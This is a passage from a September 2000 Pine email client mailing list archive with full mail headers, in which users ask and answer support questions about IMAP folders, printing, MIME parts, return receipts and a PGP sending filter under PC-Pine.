8.1 -- ListProcessor(tm) by CREN On Mon, 18 Sep 2000, Ben Elliston wrote: > > Stallman has a fine book on applied crypto. > > Stallman? Really? Don't you mean Bruche Schenier? My mistake. That should've been Stallings. The book is "Cryptography and Network Security". Sorry for the misinformation. But I'm sure Stallman does own some fine books on crypto ;-) Gopi. -- Gopi Sundaram gopi@cs.sc.edu From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 19 Sep 2000 01:36:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA19904; Tue, 19 Sep 2000 01:36:08 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA12748; Tue, 19 Sep 2000 01:36:07 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA14083; Tue, 19 Sep 2000 01:34:52 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id BAA27194 for ; Tue, 19 Sep 2000 01:32:41 -0700 Received: from stork.EMBL-Heidelberg.DE (stork.EMBL-Heidelberg.DE [192.54.41.54]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA18975 for ; Tue, 19 Sep 2000 01:32:39 -0700 Received: from black.embl-heidelberg.de (black.EMBL-Heidelberg.DE [192.54.41.49]) by stork.EMBL-Heidelberg.DE (8.8.4/8.8.4) with ESMTP id KAA21621 for ; Tue, 19 Sep 2000 10:32:34 +0200 (MDT) Message-Id: Date: Tue, 19 Sep 2000 10:32:24 +0200 (MET DST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Antje Koschel To: Pine Discussion Forum Subject: imap folders In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Sender: koschel@black.embl-heidelberg.de X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I'm now testing pine in connection with an imapserver (courier-imap-1.0 + qmail-1.03 + Maildirs). How can I get an imap folder collection displayed in pine. I tried the following: folder-collections= imap-folder {imapserver}[INBOX.%] imap {imapserver}INBOX[], imap3 {imapserver}inbox.[] It shows the folders as: ------------------------------------------------------------------------------------- Folder-Collection ------------------------------------------------------------------------------------- INBOX.mail[.] INBOX.sent-mail[.] ------------------------------------------------------------------------------------- Folder-Collection ------------------------------------------------------------------------------------- .mail[.] .sent-mail[.] ------------------------------------------------------------------------------------- Folder-Collection ------------------------------------------------------------------------------------- mail[.] sent-mail[.] Selecting one of them gives an error messages for all three formats: [Can't find Incoming Folder INBOX.sent-mail.] Why does it say "incoming" folder? And how do I have to define them? The incoming folders are defined as: incoming-folders=mail {imapserver}INBOX.mail, And they are accessible. Thanks, Antje -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 20 Sep 2000 05:09:50 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id FAA23081; Wed, 20 Sep 2000 05:09:49 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA20034; Wed, 20 Sep 2000 05:09:48 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id FAA29309; Wed, 20 Sep 2000 05:09:20 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id FAA80442 for ; Wed, 20 Sep 2000 05:07:36 -0700 Received: from cdfpc24.in2p3.fr (cdfpc24.in2p3.fr [193.48.105.186]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA04037 for ; Wed, 20 Sep 2000 05:07:34 -0700 Received: from localhost (frenkiel@localhost) by cdfpc24.in2p3.fr (8.9.3/8.9.3) with ESMTP id OAA09579; Wed, 20 Sep 2000 14:07:30 +0200 Message-Id: Date: Wed, 20 Sep 2000 14:07:30 +0200 (CEST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: pierre.frenkiel@cdf.in2p3.fr To: Pine Discussion Forum Subject: Re: return receipt requests and pine 4.21? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: 8BIT X-To: Ben Elliston X-Cc: Pine Discussion Forum X-Authentication-Warning: cdfpc24.in2p3.fr: frenkiel owned process doing -bs X-Sender: frenkiel@cdfpc24.in2p3.fr X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 27 Aug 2000, Ben Elliston wrote: > Return-Receipt-To: > and Disposition-Notification-To: > > In many cases, remote mailers are not receipt aware and you'll get nothing. > I get return receipts from all people but those using pine. (i.e.it works with Outlook, Eudora, Netscape, at least) I found in the Pine doc files absolutely nothing about a possible way to do that, and even nothing about the above fields. Are the pine developpers looking forward for any making up ? -- Pierre Frenkiel e-mail: pierre.frenkiel@cdf.in2p3.fr Physique Corpusculaire et Cosmologie tel: 01.44.27.15.27 Collège de France home: 01.60.86.58.25 mobile: 06.68.14.73.64 11 pl. Marcelin Berthelot / F-75231 Paris Cedex 5 fax: 01.43.54.69.89 From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 21 Sep 2000 01:14:57 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA05627; Thu, 21 Sep 2000 01:14:56 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA19269; Thu, 21 Sep 2000 01:14:55 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA10588; Thu, 21 Sep 2000 01:14:29 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id BAA63732 for ; Thu, 21 Sep 2000 01:13:14 -0700 Received: from moose.erie.net (moose.erie.net [208.138.204.11]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA15690 for ; Thu, 21 Sep 2000 01:13:13 -0700 Received: from dsl282.erie.net (IDENT:hermit@dsl282.erie.net [63.160.33.81]) by moose.erie.net (8.9.2/8.9.1) with ESMTP id EAA07730 for ; Thu, 21 Sep 2000 04:11:03 -0400 (EDT) Message-Id: Date: Thu, 21 Sep 2000 04:12:48 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: hermit To: Pine Discussion Forum Subject: Printing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Envelope-To: X-Sender: hermit@localhost.localdomain X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I just recently configured my HP Windows printer to print in Linux. I use pine exclusively as my email application, and can't seem to setup Pine to print. Any help would be appreciated. I checked the help files, and set it to *print to ansi* - hitting the *%* key yeilds nothing. Can someone help please? Thanks, Dick Williams -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 21 Sep 2000 14:32:25 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA27832; Thu, 21 Sep 2000 14:32:23 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA08465; Thu, 21 Sep 2000 14:32:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA05797; Thu, 21 Sep 2000 14:31:43 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA32710; Thu, 21 Sep 2000 14:28:21 -0700 Received: from pandora.worldonline.nl (pandora.worldonline.nl [195.241.48.140]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA19531; Thu, 21 Sep 2000 14:28:20 -0700 Received: from shell.worldonline.nl (shell.worldonline.nl [194.151.128.14]) by pandora.worldonline.nl (Postfix) with SMTP id D8C2D36C00; Thu, 21 Sep 2000 23:29:35 +0200 (MET DST) Message-Id: Date: Thu, 21 Sep 2000 23:28:18 +0200 (MET DST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Bruce Cohen To: Pine Discussion Forum Subject: more header stuff? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum , pine-bugs@cac.washington.edu, PINE-INFO-owner@u.washington.edu, pine@cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Just encountered an error trying to save an attachment (MS-Word document) from INBOX (pop3) pine 3.96 (with all the header problems referred to in previous msgs) to a file: Formatting error: non-hexadecimal character in QP encoding: Error writing to file The "file" turns out to be 0 bytes. Once I've coaxed the msg from the INBOX to mbox (I'm getting good at it!), there is no problem exporting the same attachment to a file. Header related or is it something else? Bruce Cohen -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 21 Sep 2000 14:42:25 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA12189; Thu, 21 Sep 2000 14:42:24 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA21367; Thu, 21 Sep 2000 14:42:24 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA23996; Thu, 21 Sep 2000 14:41:58 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA39676 for ; Thu, 21 Sep 2000 14:35:30 -0700 Received: from vax.area.com (vax.area.com [216.218.218.27]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id OAA20963 for ; Thu, 21 Sep 2000 14:35:29 -0700 Received: (qmail 10399 invoked by uid 1828); 21 Sep 2000 20:37:47 -0000 Message-Id: Date: Thu, 21 Sep 2000 13:37:46 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matt Ackeret To: Pine Discussion Forum Subject: not showing me any part by default? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I sometimes get messages with neither part being shown automatically.. Here's a bit of the header and what pine shows. Why does this happen? It seems like usually I see _one_ of the parts automatically. Can I make it show me one of the parts automatically? MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0014_01BEA919.0FCF4130" Parts/Attachments: 1 OK ~36 lines Text 2 OK ~197 lines Text ---------------------------------------- [ Part 1, Text/PLAIN 36 lines. ] [ Not Shown. Use the "V" command to view or save this part. ] [ Part 2, Text/HTML 197 lines. ] [ Not Shown. Use the "V" command to view or save this part. ] -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 21 Sep 2000 14:53:14 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA19773; Thu, 21 Sep 2000 14:53:13 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA21731; Thu, 21 Sep 2000 14:53:12 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA22836; Thu, 21 Sep 2000 14:52:34 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA72720 for ; Thu, 21 Sep 2000 14:47:11 -0700 Received: from mm02snlnto.sandia.gov (mm02snlnto.sandia.gov [132.175.109.21]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id OAA06074 for ; Thu, 21 Sep 2000 14:47:06 -0700 Received: from 132.175.109.1 by mm02snlnto.sandia.gov with ESMTP ( WorldSecure Server SMTP Relay(WSS) v4.5); Thu, 21 Sep 2000 15:46:56 -0600 Received: from es08snlnt.sandia.gov (es08snlnt.sandia.gov [134.253.130.11]) by sass165.sandia.gov (8.10.2/8.10.2) with ESMTP id e8LLktn05701; Thu, 21 Sep 2000 15:46:55 -0600 (MDT) Received: from sasg829.sandia.gov ([134.253.45.38]) by es08snlnt.sandia.gov with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id S2VWZZAW; Thu, 21 Sep 2000 15:46:55 -0600 Message-Id: Date: Thu, 21 Sep 2000 15:46:55 -0600 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Daniel Sands" To: Pine Discussion Forum Subject: Re: not showing me any part by default? In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-To: "Matt Ackeret" X-Cc: "Pine Discussion Forum" X-Server-Uuid: 7edb479a-fd89-11d2-9a77-0090273cd58c X-WSS-ID: 15D45E5A410425-01-01 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I don't know, but lately, if I get a multipart message, it shows me the Text/HTML part (HTML code and all) and calls up my browser for Text/PLAIN. Really dumb. > I sometimes get messages with neither part being shown automatically.. > > Here's a bit of the header and what pine shows. > > Why does this happen? It seems like usually I see _one_ of the parts > automatically. Can I make it show me one of the parts automatically? > > > > MIME-Version: 1.0 > Content-Type: multipart/alternative; > boundary="----=_NextPart_000_0014_01BEA919.0FCF4130" > Parts/Attachments: > 1 OK ~36 lines Text > 2 OK ~197 lines Text > ---------------------------------------- > > > [ Part 1, Text/PLAIN 36 lines. ] > [ Not Shown. Use the "V" command to view or save this part. ] > > > [ Part 2, Text/HTML 197 lines. ] > [ Not Shown. Use the "V" command to view or save this part. ] > > -- > ----------------------------------------------------------------- > For information about this mailing list, and its archives, see: > http://www.washington.edu/pine/pine-info/ > ----------------------------------------------------------------- > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 22 Sep 2000 08:27:19 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA28074; Fri, 22 Sep 2000 08:27:17 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA32131; Fri, 22 Sep 2000 08:27:16 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id IAA26203; Fri, 22 Sep 2000 08:26:42 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id IAA124448 for ; Fri, 22 Sep 2000 08:25:07 -0700 Received: from students.uz.ac.zw (IDENT:agona@[196.4.80.241]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id IAA14932 for ; Fri, 22 Sep 2000 08:25:01 -0700 Received: (qmail 4815 invoked by uid 1778); 22 Sep 2000 15:26:30 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 22 Sep 2000 15:26:30 -0000 Message-Id: Date: Fri, 22 Sep 2000 17:26:30 +0200 (CAT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: M Rushwaya To: Pine Discussion Forum Subject: Folders MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How does one export or save a messgage on unix pine from the home directory to an outside folder. Especially one with a # namespace. Also what kind of folder names are valid for the following namespaces #public/ and #shared/. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mutumwa Jepson Rushwaya | Expecting something from nothing is the jeps@students.uz.ac.zw | most popular hope. | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 22 Sep 2000 15:07:52 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA16925; Fri, 22 Sep 2000 15:07:51 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA26443; Fri, 22 Sep 2000 15:07:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA05300; Fri, 22 Sep 2000 15:07:25 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA69780 for ; Fri, 22 Sep 2000 15:05:42 -0700 Received: from usceast.cs.sc.edu (usceast.cse.sc.edu [129.252.11.9]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA02898 for ; Fri, 22 Sep 2000 15:05:41 -0700 Received: from pearl.cs.sc.edu (pearl.cs.sc.edu [129.252.130.40]) by usceast.cs.sc.edu (8.9.3/8.9.3) with ESMTP id SAA14169 for ; Fri, 22 Sep 2000 18:05:40 -0400 (EDT) Received: from localhost (gopalan@localhost) by pearl.cs.sc.edu (8.9.3/8.9.3) with ESMTP id SAA08235 for ; Fri, 22 Sep 2000 18:05:38 -0400 (EDT) Message-Id: Date: Fri, 22 Sep 2000 18:05:33 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Gopi Sundaram To: Pine Discussion Forum Subject: Re: Folders In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Authentication-Warning: pearl.cs.sc.edu: gopalan owned process doing -bs X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 22 Sep 2000, M Rushwaya wrote: > How does one export or save a messgage on unix pine from the home > directory to an outside folder. Especially one with a # namespace. The usual way, by pressing (S)ave. When prompted for a folder name, you can type in {server.name}#namespace/ or {server.name}path The path definition is vallidated by the remote server that you are accessing. > Also what kind of folder names are valid for the following > namespaces #public/ and #shared/. Talk to the administrator of the server you are contacting. In some cases you may not need to use a namespace, but directly specify a path instead. For more information, read the help section in (S)etup collection(L)ist (A)dd under the Path: field. Gopi. -- Gopi Sundaram gopi@cs.sc.edu From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Mon, 25 Sep 2000 18:33:22 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA26730; Mon, 25 Sep 2000 18:33:20 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA11600; Mon, 25 Sep 2000 18:33:15 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id SAA17855; Mon, 25 Sep 2000 18:32:29 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id SAA122724 for ; Mon, 25 Sep 2000 18:29:56 -0700 Received: from prime.gushi.org (root@ns172.netacces.net [208.23.118.172]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA29862 for ; Mon, 25 Sep 2000 18:29:56 -0700 Received: from localhost (danm@localhost) by prime.gushi.org (8.9.3/8.9.3) with ESMTP id VAA10493 for ; Mon, 25 Sep 2000 21:17:42 -0400 (EDT) (envelope-from danm@prime.gushi.org) Message-Id: Date: Mon, 25 Sep 2000 21:17:42 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Daniel Mahoney, Systems Admin" To: Pine Discussion Forum Subject: Abort Signal in pine 4.21 (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hey all, I was using pine 4.21 to access my newsgroups, where I am prompted with a password (expected behavior), however when I hit enter instead of putting in my password, I got an "Abort Signal Received" error. Will this be fixed in a future relaeas of pine? Is there any fix I can apply myself? I am running freeBSD 3.4 RELEASE, and pine was built from the ports collection. Thanks, Dan Mahoney -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 26 Sep 2000 05:34:27 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id FAA32134; Tue, 26 Sep 2000 05:34:26 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA24982; Tue, 26 Sep 2000 05:34:24 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id FAA12562; Tue, 26 Sep 2000 05:34:04 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id FAA133536 for ; Tue, 26 Sep 2000 05:32:17 -0700 Received: from nvcheext01.nagra-kudelski.ch (usr561@[193.246.109.168]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA31097 for ; Tue, 26 Sep 2000 05:32:14 -0700 Received: from nvchemsg01.nagra-kudelski.ch (nvchemsg01 [10.0.50.41]) by nvcheext01.nagra-kudelski.ch with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id TJ1P6Z4F; Tue, 26 Sep 2000 14:31:59 +0200 Received: from tom.nagra-kudelski.ch ([10.0.50.50]) by nvchemsg01.nagra-kudelski.ch with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id THKH01Q2; Tue, 26 Sep 2000 14:32:17 +0200 Message-Id: Date: Tue, 26 Sep 2000 14:30:45 +0200 (MET DST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Daniel Lungu To: Pine Discussion Forum Subject: PC-Pine 4.21 and display/sending filters MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: PINE-INFO X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi! Is there any answer for the issue addressed by Michael Ruder on 20th of Sep 1998? I have encountered the same problem when trying to set up a sending filter through PGP, under PC-Pine 4.21 / NT4.0: sending-filters = C:\bin\pgpe.bat _TMPFILE_ _RECIPIENTS_ I need to run a batch file instead of directly using PGP.exe, since my version of PGP 6.5.2 / NT4.0 does not produce standard output. It creates instead an output file .pgp or .asc. Here is the content of "pgpe.bat": "C:\Program Files\Network Associates\PGPNT\PGP.exe" -ae %1 %2 rem pause del %1 move %1.asc %1 By inserting a pause before "del %1", you can see PGP's error message: Pretty Good Privacy(tm) Version 6.5.2 (c) 1999 Network Associates Inc. Uses the BSafe(tm) Toolkit, which is copyright RSA Data Security, Inc. Export of this software may be restricted by the U.S. government. File [C:\TEMP\sfa00215] does not exist. There is no such temporary file so there should be some bug in Pine regarding _TMPFILE_ macro. I decided to try with an existing file instead: sending-filters = C:\bin\pgpe.bat C:\TEMP\myfile _RECIPIENTS_ In this case Bill calls Dr. Watson for an access violation from pine.exe. They claim to generate an application error log but there is nothing actually reported in "m$ Event Viewer 4.0". In the popped up shell window PGP generates the encrypted "myfile.asc" message and my batch moves it back to "myfile" such that Pine would be able to use it through the _TMPFILE_ mechanism. But at this time Pine has already crashed 8^( There is another minor bug I would like to mention here, that it is not possible to specify a filter that resides in a path containing blank spaces. For instance "C:\Program Files\filter.exe" cannot be installed, either with or without quotes. Thank you and sorry for the long story, daniel PS: All these are just because I feel really uncomfortable with m$ outlook. How can they fool people... -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 26 Sep 2000 09:29:06 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA22025; Tue, 26 Sep 2000 09:29:04 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA12583; Tue, 26 Sep 2000 09:29:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by 